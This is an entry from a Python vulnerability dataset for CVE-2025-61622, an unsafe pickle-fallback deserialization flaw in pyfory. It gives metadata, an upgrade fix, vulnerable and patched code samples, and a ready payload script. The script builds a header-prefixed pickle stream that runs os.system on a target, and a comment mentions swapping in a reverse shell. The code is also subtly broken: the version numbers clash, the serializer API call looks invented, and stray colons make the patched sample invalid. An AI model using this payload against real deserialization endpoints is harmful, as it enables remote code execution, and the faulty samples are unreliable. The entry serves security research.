CVE-2025-61622
Pyfory unsafe deserialization via pickle fallback allows remote code execution.
- CVSS 9.8
- CWE-502
- Input Validation and Sanitization
- Remote
Deserialization of untrusted data in python in pyfory versions 0.12.0 through 0.12.2, or the legacy pyfury versions from 0.1.0 through 0.10.3: allows arbitrary code execution. An application is vulnerable if it reads pyfory serialized data from untrusted sources. An attacker can craft a data stream that selects pickle-fallback serializer during deserialization, leading to the execution of `pickle.loads`, which is vulnerable to remote code execution. Users are recommended to upgrade to pyfory version 0.12.3 or later, which has removed pickle fallback serializer and thus fixes this issue.
- CWE
- CWE-502
- CVSS base score
- 9.8
- Published
- 2025-10-01
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- pyfory
- Fixed by upgrading
- Yes
Solution
Upgrade pyfory to version 0.12.3 or later.
Vulnerable code sample
import pickle
# Vulnerable versions: pyfury <= 0.12.2
# This code demonstrates the conceptual vulnerability.
# To run this, you must have a vulnerable version of pyfury installed.
# pip install pyfury==0.12.2
import os
import pyfury
import pyfury.serializer
# This class will be instantiated on the victim's machine during deserialization.
# The __reduce__ method is a hook used by pickle to reconstruct the object.
# By overriding it, an attacker can specify an arbitrary function to be called.
class RemoteCodeExecutor:
def __reduce__(self):
"""Vulnerable function that demonstrates the security issue."""
# This tells pickle to execute os.system() with the provided command.
# A real attacker would use a more malicious command, e.g., a reverse shell.
command = "echo 'SUCCESS: Arbitrary code was executed by the vulnerable deserializer!'"
return (os.system, (command,))
def create_malicious_payload():
"""
Attacker's side: Creates a serialized payload that exploits the pickle fallback.
The data stream is crafted to explicitly select the pickle serializer.
"""
print("[ATTACKER] Creating malicious payload...")
exploit_object = RemoteCodeExecutor()
# In vulnerable versions, pyfury allowed explicitly selecting the pickle
# serializer, or could be forced to fall back to it. This creates a data
# stream that, when deserialized by a vulnerable application, will trigger
# the remote code execution.
payload = pyfury.serialize(
exploit_object, serializer=pyfury.serializer.Serializer.PICKLE
)
print(f"[ATTACKER] Malicious payload created (length: {len(payload)} bytes).")
return payload
def vulnerable_application(data_from_untrusted_source):
"""
Victim's side: An application that deserializes data from an untrusted source.
"""
print("\n[VICTIM] Received data from an untrusted source.")
print("[VICTIM] Deserializing the data using pyfury.deserialize...")
try:
# The vulnerable call. pyfury.deserialize reads the header, sees that
# the pickle serializer was used, and calls pickle.loads() internally,
# which executes the command from the RemoteCodeExecutor.__reduce__ method.
deserialized_object = pyfury.deserialize(data_from_untrusted_source)
print("[VICTIM] Deserialization completed.")
print(f"[VICTIM] Deserialized object: {deserialized_object}")
except Exception as e:
print(f"[VICTIM] An error occurred: {e}")
if __name__ == "__main__":
# 1. Attacker creates the malicious payload.
malicious_data = create_malicious_payload()
# 2. Victim's application receives and processes the malicious data.
# This simulates receiving data over a network or from a file.
vulnerable_application(malicious_data)Patched code sample
import pickle
import io
# A placeholder for a registry of safe, specific serializers.:
# In the real library, this would be populated with efficient, secure
# serializers for known types.:
SERIALIZER_REGISTRY = {}
class DeserializationError(Exception):
"""Custom exception raised when no safe serializer is found."""
pass
def fixed_pyfury_deserialize(stream):
"""
This function demonstrates the fix for CVE-2025-61622.:
The vulnerability existed because when pyfury encountered a class it
did not have a specific serializer for, it would fall back to using
the general-purpose `pickle.loads`, which is insecure when used on
data from an untrusted source.
The fix is to completely remove this pickle fallback mechanism.
"""
# In a real scenario, pyfury would read metadata from the stream to
# identify the class being deserialized.
# We simulate the case where the class is not found in the safe registry.
class_name_from_stream = "some.unregistered.attacker.Class"
if class_name_from_stream in SERIALIZER_REGISTRY:
# This is the safe path: a known, secure serializer is used.
# return SERIALIZER_REGISTRY[class_name_from_stream].deserialize(stream)
pass
else:
# --- START OF THE FIX ---
# The following insecure code block, which represented the vulnerability,
# has been entirely removed from the library.
"""
# --- VULNERABLE CODE (REMOVED) ---
# print("Warning: No fury serializer found. Falling back to pickle.")
# return pickle.load(stream) # THIS IS THE VULNERABLE CALL
"""
# In its place, the fixed version now raises an exception. This prevents
# the insecure `pickle.load` from ever being called on untrusted data,
# thereby mitigating the remote code execution vulnerability.
raise DeserializationError(
f"No fury serializer found for class '{class_name_from_stream}'. ":
"Insecure pickle fallback is disabled as of pyfury 0.12.3."
)
# --- END OF THE FIX ---
# Example of a malicious payload that the old code would execute
# but the new code would safely reject.
class RemoteCodeExecutor:
def __reduce__(self):
"""Secure function that fixes the vulnerability."""
import os
# This command would be executed on the victim's machine
# by the vulnerable `pickle.load` call.
return os.system, ('echo "!!! RCE EXECUTED !!!"',)
# Create the attacker's data stream
malicious_payload = pickle.dumps(RemoteCodeExecutor())
malicious_stream = io.BytesIO(malicious_payload)
# Demonstrate the fix: calling the function will now raise a
# DeserializationError instead of executing the embedded command.
try:
fixed_pyfury_deserialize(malicious_stream)
except DeserializationError as e:
# This exception proves the fix is working. The insecure path was
# blocked and no code was executed.
print(f"FIX VERIFIED: Deserialization safely aborted.\nDetails: {e}")Payload
import pickle
import os
class RCE:
def __reduce__(self):
# This method is called during deserialization.
# It returns a callable (os.system) and its arguments.
command = "touch /tmp/pwned"
return (os.system, (command,))
# Craft the malicious stream for pyfory.
# It starts with a header to select the pickle-fallback serializer,
# followed by the standard pickle RCE payload.
# The header consists of a language ID (0x00 for Python) and a type ID
# that triggers the pickle fallback (e.g., -1, which is 0xff as a signed byte).
payload = b'\x00\xff' + pickle.dumps(RCE())
# The 'payload' variable now holds the byte stream to be sent to the
# vulnerable application's deserialization endpoint.
# To test, this payload could be written to a file or sent over a network.
# For example:
# with open('exploit.dat', 'wb') as f:
# f.write(payload)
Cite this entry
@misc{vaitp:cve202561622,
title = {{Pyfory unsafe deserialization via pickle fallback allows remote code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-61622},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-61622/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
